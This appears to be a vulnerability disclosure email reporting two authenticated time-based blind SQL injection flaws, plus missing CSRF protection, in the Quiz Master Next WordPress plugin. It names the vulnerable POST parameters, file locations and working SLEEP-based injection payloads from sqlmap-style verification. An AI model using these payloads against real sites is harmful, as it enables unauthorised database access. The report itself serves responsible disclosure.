Hello,
Authenticated users (like editors) can execute arbitrary SQL commands (+there is no CSRF protection).
1. SQL injection (mlw_options_tools_tab_content())
Method: POST
Vulnerable parameter: mlw_reset_quiz_id
Example PHP callstack:
Callstack:
mlw_options_tools_tab_content [/quiz-master-next/php/qmn_options_tools_tab.php:34]
wpdb::query
Verification:
...
Parameter: mlw_reset_quiz_id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: mlw_reset_quiz_stats=confirmation&mlw_reset_quiz_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))uqUv)
...
2. SQL injection (mlw_options_text_tab_content())
Method: POST
Vulnerable parameter: quiz_id
Example PHP callstack:
Callstack:
mlw_options_text_tab_content [/quiz-master-next/php/qmn_options_text_tab.php:52]
wpdb::query
Verification:
...
Parameter: quiz_id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: save_templates=confirmation&quiz_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))YUSm)
...
--
Regards,
Marcin Probola,